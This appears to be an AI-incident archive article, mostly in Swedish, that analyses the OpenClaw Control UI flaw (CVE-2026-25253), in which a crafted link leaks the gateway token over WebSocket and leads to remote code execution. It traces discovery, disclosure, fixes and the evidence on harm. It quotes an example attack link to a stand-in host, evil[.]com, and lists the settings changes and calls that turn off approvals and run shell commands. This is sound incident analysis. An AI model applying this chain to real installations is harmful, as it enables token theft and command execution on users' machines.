En abstrakt redaktionell illustration i mörk marinblå: ett webbläsarfönster till vänster släpar ett glödande query-strängband som böjer sig över en mörk lucka in i en bärnstensfärgad token-nod, och en tunn linje från token fortsätter till en separat ändpunkt till höger. Den enda texten är en liten etikett med texten "QUERY STRING > TOKEN > GATEWAY". Inga människor, inga logotyper.
AI Safety Incidents

OpenClaw Control UI WebSocket-kapning: en länk till RCE

Författare

Gideon Frost

Publiceringsdatum

Senaste modellerna · 20Visa alla modeller →
Benchmarks: Artificial Analysis · uppdateras dagligen
Tillbaka till alla inlägg

Den 29 januari 2026 publicerade säkerhetsföretaget Ethiack sin redogörelse för en sårbarhet i OpenClaw, den öppna personliga AI-agenten som körs på användarens egen maskin och styrs från en webbläsarbaserad instrumentpanel som kallas Control UI. En manipulerad länk kunde få instrumentpanelen att lämna över gatewayens autentiseringstoken till en angripare, och med den möjligheten att köra shellkommandon som den inloggade användaren. CVE-2026-25253 följde den 1 februari 2026 och projektets egen rådgivning dagen därpå, båda graderade sårbarheten till 8,8, hög. Varje distribution där någon hade loggat in i Control UI omfattades, inklusive instanser som endast var nåbara via loopback. Ingen källa som lästs för den här artikeln dokumenterar att sårbarheten använts mot en verklig användare. Arkivet registrerar händelsen som en infrastrukturincident med hög allvarlighetsgrad, tillförlitlighetsbetyget B och datumet 29 januari 2026 med dags precision, tillsammans med sina övriga poster om agentsäkerhet i Orca AI Incident Archive.

Vad Control UI gjorde med en URL

OpenClaw är en självhostad agent som användarna når via meddelandeappar och en webbpanel, och som arbetar med vad Ethiacks rapport kallar "fullständig systemåtkomst". Projektet hade redan bytt namn mer än en gång och burit namnen Clawdbot och Moltbot före OpenClaw, och npms register anger att paketet openclaw skapades den 29 januari 2026 kl. 11:08 UTC. Panelen är den del som spelar roll här: den behöll gateway-token i webbläsarens lagring, och det var där bristen fanns.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Två webbläsarfakta förvandlar den läckan till ett övertagande. Webbläsare tillämpar inte samma ursprungspolicy på WebSocket-anslutningar som de gör på vanliga HTTP-förfrågningar, och gatewayen validerade inte Origin-huvudet vid uppgraderingen, så JavaScript på en sida som offret besökt kunde öppna en socket direkt till ws://localhost:18789 (depthfirst, 1 februari 2026). Eftersom offrets egen webbläsare gör den utgående anslutningen nådde attacken gatewayer som var bundna till loopback och osynliga från nätverket. "Den här sårbarheten är exploaterbar även på instanser som konfigurerats att endast lyssna på loopback, eftersom offrets webbläsare initierar den utgående anslutningen", står det i projektets säkerhetsrådgivning. Ethiack noterade ytterligare ett villkor vid den tiden: den stabila Chrome-versionen som testades levererades inte med behörigheten Local Network Access som standard, så webbläsaren visade inte heller någon prompt.

Vad den stulna token ger är resten av historien. Den hade behörighetsomfången operator.admin och operator.approvals. Med dem kunde en angripare stänga av exekveringsgodkännanden genom att ställa exec.approvals.set till "off", flytta exekveringsvärden ut ur containern genom att ställa tools.exec.host till "gateway", och sedan köra shellkommandon på värden via en node.invoke / system.run-begäran (depthfirst, 1 februari 2026; The Hacker News, 2 februari 2026). Leverantörens rådgivning sammanfattar utfallet i en enda mening: angriparen kan "ändra konfigurationen (sandbox, verktygspolicyer) och anropa privilegierade åtgärder, vilket ger 1-click RCE".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

Hittad på under två timmar, av en maskin

Upptäckten var i sig en AI-övning. Ethiack släppte sin autonoma pentestagent Hackian lös på en live-instans av OpenClaw den 26 januari 2026 kl. 13:21 UTC. Företaget bekräftade sårbarheten kl. 15:05 UTC, ungefär en timme och fyrtio minuter senare, vilket är den siffra som Ethiacks rapport lyfter fram i rubriken. Företaget rapporterade den till OpenClaws underhållare kl. 18:02 UTC. En pull request följde den 27 januari och rättningen nådde huvudgrenen på kvällen den 28 januari, enligt Ethiacks publicerade tidslinje och projektets commit-historik.

Ett andra team kom oberoende fram till samma slutsats. Mav Levin, säkerhetsforskare och en av grundarna av depthfirst, publicerade sin egen rapport den 1 februari 2026, där han skrev att "OpenClaw-teamet snabbt tog itu med och åtgärdade problemet som jag rapporterade" och att någon annan oberoende hade rapporterat samma bugg. GitHubs säkerhetsrådgivning krediterar DepthFirstDisclosures som rapportör och listar både 0xacb och mavlevin bland upptäckarna. Kontot 0xacb har profilnamnet André Baptista, en av de tre medförfattarna till Ethiacks rapport, vilket stämmer med tidslinjen: Ethiacks pull request mot åtgärden öppnades från det kontot den 27 januari och underhållarnas commit tackar den vid namn. Ingen källa som lästs för den här artikeln säger att de två insatserna kände till varandra före publiceringen, och ingen ifrågasätter krediteringen.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

Postens datum, och datumen runt den

Arkivet daterar denna post till den 29 januari 2026 med dagprecision, och det stämmer med dagen då Ethiacks forskning blev offentlig. Kodrättningen hade redan landat dagen innan. Den taggade utgåvan som innehöll den följde under de tidiga timmarna den 30 januari UTC, vilket är kvällen den 29 januari i USA:s stillahavstid: npm registrerar version 2026.1.29 kl. 04:49 UTC den 30 januari och GitHub-utgåvan kl. 05:26 UTC. MITRE:s CVE-post är daterad den 1 februari 2026 kl. 22:34 UTC, GitHubs säkerhetsmeddelande den 2 februari kl. 23:41 UTC, och The Hacker News rapporterade om sårbarheten den 2 februari.

Postens citerade källa, Permission Protocol's agent incident tracker, har en egen tidslinje, och delar av den ligger efter. Den placerar patchutgivningen den 2026-01-29, i linje med versionsnumret, men daterar "tidiga rapporter" om sårbarheten till 2026-02-12 och den breda offentliga publiceringen av CVE-2026-25253 till 2026-02-26, med oberoende sammanställningar den 2026-03-24. Primärdokumenten säger något annat. Datumet 26 februari motsvarar SonicWalls patchanalys, som publicerades tre och en halv vecka efter att identifieraren fanns, och 12 februari infaller mellan de två forskningsrapporterna och leverantörsanalysen snarare än före dem. Den sista raden i trackerns tidslinje kallar också mekanismen "zero-click"; leverantörens säkerhetsmeddelande kallar den 1-click, och varje publicerad redogörelse beskriver ett offer som måste öppna en länk. Där dessa datum och beteckningar skiljer sig åt följer den här artikeln CVE-posten, leverantörens säkerhetsmeddelande och de två forskningsrapporterna.

En varning om den källan är värd att säga öppet. Permission Protocol säljer en auktoriseringsgrind, och dess post ramar in incidenten utifrån vad den egna produkten skulle ha blockerat. Sidan kallar den bedömningen villkorad och säger om sig själv att "källan fastställer inte ett resultat av produktförebyggande". Det som dokumentet faktiskt förmedlar korrekt är dess inramning: forskningen var offentlig tre dagar innan CVE:n fanns, vilket är anledningen till att arkivet kallar detta en tidig upptäckt före CVE-2026-25253.

Vad skadades egentligen

Ingenting, så vitt någon källa redovisar. Arkivet markerar posten real_harm false, och det stämmer med allt som publicerats i anslutning till den. Belgiens centrum för cybersäkerhet utfärdade en rådgivning den 2 februari 2026 med uppgiften att "det för närvarande inte finns några bevis för att denna sårbarhet har utnyttjats i det vilda". Varken Ethiack, depthfirst, SonicWall eller The Hacker News rapporterar något offer, någon komprometterad installation eller några data som tagits, och ingen av dem anger någon siffra på hur många installationer som var exponerade. Ethiack konstaterar bara att det fanns "massor av instanser som kördes på publika servrar" med svag konfiguration, vilket är ett intryck snarare än en räkning.

Det som finns är fungerande exploitkod. Ethiack publicerade den fullständiga exploitkällkoden tillsammans med sin rapport och demonstrerade kedjan mot sin egen instans. SonicWalls analys från februari visar tokeninsamling "med en offentligt tillgänglig exploit". Ett tredjeparts proof-of-concept-förråd dök upp på GitHub den 9 mars 2026. Offentlig exploitkod är inte samma sak som exploatering, och arkivets skadeflagga avser det senare.

En källa är mindre precis än de övriga och förtjänar att uppmärksammas. Riskavsnittet i den belgiska rådgivningen beskriver att boten själv renderar angriparstyrt innehåll som utlösaren, vilket inte är mekanismen i leverantörens rådgivning eller i någon av de två forskningsrapporterna: i alla tre lockas offrets webbläsare till en länk och agenten är målet, inte leveransfordonet. Dess exploateringspåstående är den citerbara delen; dess mekanismsammanfattning är det inte.

Vad som ändrades, och vad den första rättningen lämnade öppet

Åtgärden i 2026.1.29 lade till en bekräftelsedialog innan Control UI byter till en annan gateway-URL. Projektets rådgivande text beskriver ändringen som "Med ändringen behöver användarna nu bekräfta den nya gateway-URL:en i gränssnittet", och filen som renderar dialogen finns i taggen v2026.1.29. Det höjer kostnaden för attacken från ett klick till ett klick plus en avsiktlig bekräftelse. Det tar inte bort det underliggande förtroendet för en URL-parameter.

Validering av Origin, den andra halvan av kedjan, kom senare. SonicWalls patchanalys anger att "senare uppdateringar införde strikta kontroller för ursprungsvalidering", och listar fyra kontroller: avvisa en saknad eller ogiltig Origin-header; tillåt en Origin-värd som matchar Host-headern; tillåt loopback till loopback; tillåt origins som namnges i en konfigurerad allowedOrigins-lista; och avvisa allt annat. Ordningen är synlig i projektets källkod vid taggen v2026.1.29, där WebSocket-uppgraderingshanteraren läser och loggar Origin-headern utan att tillämpa någon policy på den.

Andra svar var detektering snarare än kod. SonicWall släppte IPS-signaturen 21908 för det som de kallar OpenClaw-exponering av känsliga data. depthfirst rekommenderade att uppgradera och rotera gateway-token om exponering misstänktes, vilket följer direkt av mekanismen: en stulen token förblir giltig tills någon ändrar den.

Vad som är fastställt, och vad som inte är det

Fastställt utifrån primärkällor: den sårbara kodvägen läste gatewayUrl från frågesträngen och anslöt automatiskt utan validering; connect-ramen innehöll den lagrade token; gatewayen validerade inte WebSocket-origin, så en webbläsare på vilken webbplats som helst kunde nå loopback; token hade admin- och approval-scope; versioner före 2026.1.29 var drabbade; och två team hittade bristen oberoende av varandra, varav ett var en autonom agent som arbetade utifrån.

Inte fastställt: att någon utnyttjade det, hur många installationer som var nåbara vid tillfället, och huruvida enbart bekräftelsedialogen skulle stå emot en beslutsam angripare. Arkivets B-betyg återspeglar en citeringsbas på en enda sekundär spårare snarare än någon tvekan om mekaniken, och posten är inte markerad som omtvistad. Den mekaniken styrks av leverantörens rådgivning, av MITRE:s CVE-post och av två oberoende forskningsrapporter, vilket är mer än vad posten själv hävdar.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

Arkivets enradiga sammanfattning kallar detta en tidig upptäckt före CVE-2026-25253, och det är rätt sätt att läsa posten: ett register över en brist som hittades, rapporterades och åtgärdades innan den hade en identifierare, i en produkt byggd för att köra kommandon på maskinen den finns på. CVE:n som följde beskriver samma tre beteenden – en frågeparameter, en oombedd anslutning och en token i handskakningen – och ingen källa som lästs för den här artikeln placerar någon i andra änden av den.